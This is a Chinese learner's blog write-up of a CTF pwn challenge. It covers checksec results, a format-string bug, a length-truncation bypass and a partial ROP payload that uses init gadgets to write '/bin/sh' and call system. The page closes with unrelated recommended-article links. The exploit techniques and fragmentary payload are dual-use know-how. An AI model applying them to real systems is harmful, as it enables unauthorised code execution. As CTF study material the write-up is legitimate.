拿到题后,就直接开鲁。。

/ctf/pwn# checksec pwnme
[*] '/ctf/pwn/pwnme'
Arch: amd64--little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

开了 NX和ERLRO。

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

RelRO:设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。

int __fastcall show(char format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9)
{
printf(&formata, a2, a3, a4, a5, a6); // //printf name
return printf((const char *)&a9 + );
} // // printf pwdname

很明显的一个格式化字符串的漏洞。

然后想到了泄露,但是实战能力不足,不会怎么用,所以就跟着大佬的writeup 慢慢复现。

if ( (_BYTE)read_new_pwdlength && (unsigned __int8)read_new_pwdlength <= 20u )// //这里会截断
{
memset((char *)&desta + , , 0x14uLL);
sub_400A90(tmp_pwd_buf, read_new_pwdlength);
memcpy((char *)&desta + , tmp_pwd_buf, read_new_pwdlength);

这个有个 截断 ,在int 转化成BYTE的时候只会保留后面的一个字节。所以可以用0x101 绕过。

剩下的思路就是利用init_main,调用read 往.bss 段写/bin/sh\x00

再调用system。

但是rop的构建有很多不理解的,于是我就一个个 去调试,

payload += p64(pop_pop_pop_pop_po_ret) + p64(0x1) + p64(0x601FC8) + p64(0x8) + p64(bin_sh_addr) + p64()
payload += p64(init_gadget) + p64(0x8) * #pad 可以测出来。 payload += p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr)

前面的

p64(pop_pop_pop_pop_po_ret) + p64(0x1) + p64(0x601FC8) + p64(0x8) + p64(bin_sh_addr) + p64(0)

是赋值,然后满足条件就执行。
 loc_400EB0:                             ; CODE XREF: init+↓j
.text:0000000000400EB0 mov rdx, r13
.text:0000000000400EB3 mov rsi, r14
.text:0000000000400EB6 mov edi, r15d
.text:0000000000400EB9 call qword ptr [r12+rbx*] //执行这个
.text:0000000000400EBD add rbx,
.text:0000000000400EC1 cmp rbx, rbp
.text:0000000000400EC4 jnz short loc_400EB0
.text:0000000000400EC6
.text:0000000000400EC6 loc_400EC6: ; CODE XREF: init+↑j
.text:0000000000400EC6 add rsp,
.text:0000000000400ECA pop rbx
.text:0000000000400ECB pop rbp
.text:0000000000400ECC pop r12
.text:0000000000400ECE pop r13
.text:0000000000400ED0 pop r14
.text:0000000000400ED2 pop r15
.text:0000000000400ED2 init endp

后面的

p64(0x8) * 7对应了下面的几个,然后跳到 system去
.text:0000000000400EC6                 add     rsp,
.text:0000000000400ECA pop rbx
.text:0000000000400ECB pop rbp
.text:0000000000400ECC pop r12
.text:0000000000400ECE pop r13
.text:0000000000400ED0 pop r14
.text:0000000000400ED2 pop r15

至于前面的A*0x28是从IDA调试出来的,刚刚好覆盖到ebp,然后下一个就是返回地址了

这次的学习,让我知道自己的调试的能力很差 ,还有构建rop的想法不够。动手能力欠缺。

百度杯 十一月 的一道pwn题复现的更多相关文章

  1. HCTF2018 pwn题复现

    相关文件位置 https://gitee.com/hac425/blog_data/tree/master/hctf2018 the_end 程序功能为,首先 打印出 libc 的地址, 然后可以允许 ...

  2. “百度杯”CTF比赛 十月场 Hash 复现

    进入题后老套路得到两个关键: 1.$hash=md5($sign.$key);the length of $sign is 8 2.key=123&hash=f9109d5f83921a551 ...

  3. 十一月百度杯pwnme 详细wp

    目录 程序基本信息 程序溢出点 整体思路 exp脚本 成功获得flag 参考 程序基本信息 可以看到开启了栈不可执行和got表不可写保护. 程序溢出点 在函数sub_400AF7中,v8可以读入0x1 ...

  4. 由一道CTF pwn题深入理解libc2.26中的tcache机制

    本文首发安全客:https://www.anquanke.com/post/id/104760 在刚结束的HITB-XCTF有一道pwn题gundam使用了2.26版本的libc.因为2.26版本中加 ...

  5. [原题复现]百度杯CTF比赛 十月场 WEB EXEC(PHP弱类型)

    简介  原题复现:  考察知识点:PHP弱类型.  线上平台:https://www.ichunqiu.com/battalion(i春秋 CTF平台) 过程 看源码发现这个 vim泄露  下方都试了 ...

  6. pwn200,一道不完全考察ret2libc的小小pwn题

    pwn200 ---XDCTF-2015 每日一pwn,今天又做了一个pwn,那个pwn呢???攻防世界的进阶区里的一道小pwn题,虽然这个题考察的知识不多,rop链也比较好构建,但是还是让我又学到了 ...

  7. [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

    简介  原题复现:  考察知识点:SSRF.反序列化.SQL注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...

  8. “百度杯”CTF比赛 2017 二月场(Misc Web)

    爆破-1: 打开链接,是502 我直接在后面加个变量传参数:?a=1 出了一段代码 var_dump()函数中,用了$$a,可能用了超全局变量GLOBALS 给hello参数传个GLOBALS 得到f ...

  9. 2017 百度杯丶二月场第一周WP

    1.祸起北荒 题目: 亿万年前 天子之子华夜,被父神之神末渊上神告知六荒十海之北荒西二旗即将发生一场"百度杯"的诸神之战 他作为天族的太子必须参与到此次诸神之战定六荒十海 华夜临危 ...

随机推荐

  1. Leetcode(2)两数相加

    Leetcode(2)两数相加 [题目表述]: 给出两个 非空 的链表用来表示两个非负的整数.其中,它们各自的位数是按照 逆序 的方式存储的,并且它们的每个节点只能存储 一位 数字. 如果,我们将这两 ...

  2. Python中文件路径名的操作

    1 文件路径名操作 对于文件路径名的操作在编程中是必不可少的,比如说,有时候要列举一个路径下的文件,那么首先就要获取一个路径,再就是路径名的一个拼接问题,通过字符串的拼接就可以得到一个路径名.Pyth ...

  3. java秀发入门到优雅秃头路线导航【教学视频+博客+书籍整理】

    目录 一.Java基础 二.关于JavaWeb基础 三.关于数据库 四.关于ssm框架 五.关于数据结构与算法 六.关于开发工具idea 七.关于项目管理工具Mawen.Git.SVN.Gradle. ...

  4. Linux常用命令及示例(全)

    NO 分类 PS1 命令名 用法及参数 功能注解1 显示目录信息 # ls ls -a 列出当前目录下的所有文件,包括以.头的隐含文件 # ls ls -l或ll 列出当前目录下文件的详细信息 # l ...

  5. 常用html转义符,JavaScript转义符

    HTML字符实体(Character Entities),转义字符串(Escape Sequence) 为什么要用转义字符串? HTML中<,>,&等有特殊含义(<,> ...

  6. Python+requests+unittest+excel实现接口自动化测试框架(转

    一.框架结构:工程目录 二.Case文件设计三.基础包 base 3.1 封装get/post请求(runmethon.py) import requests import json class Ru ...

  7. ajax 跨域问题处理

    第一种方法 服务端处理 response.addHeader("Access-Control-Allow-Origin", "*"); 第二种 客户端使用Jso ...

  8. Django实现WebSSH操作物理机或虚拟机

    我想用它替换掉xshell.crt之类的工具 WebSSH操作物理机或虚拟机 Django实现WebSSH操作Kubernetes Pod文章发布后,有小伙伴说咖啡哥,我们现在还没有用上Kuberne ...

  9. Linux wget 批量下载

    需求:已知50个pdf的URL地址,需要批量下载,该怎么办呢? 方案一:使用wget自带的一个功能 -i 选项  从指定文件中读取下载地址,这样的好处是一直是这一个wget进程下载所有pdf,不会来回 ...

  10. Unity4-用户输入

    Input是一个类,可以接收用户的输入 使用AddComponentMenu("Demo1/InputTest1"),将脚本加入到工程中. //例子: void Update() ...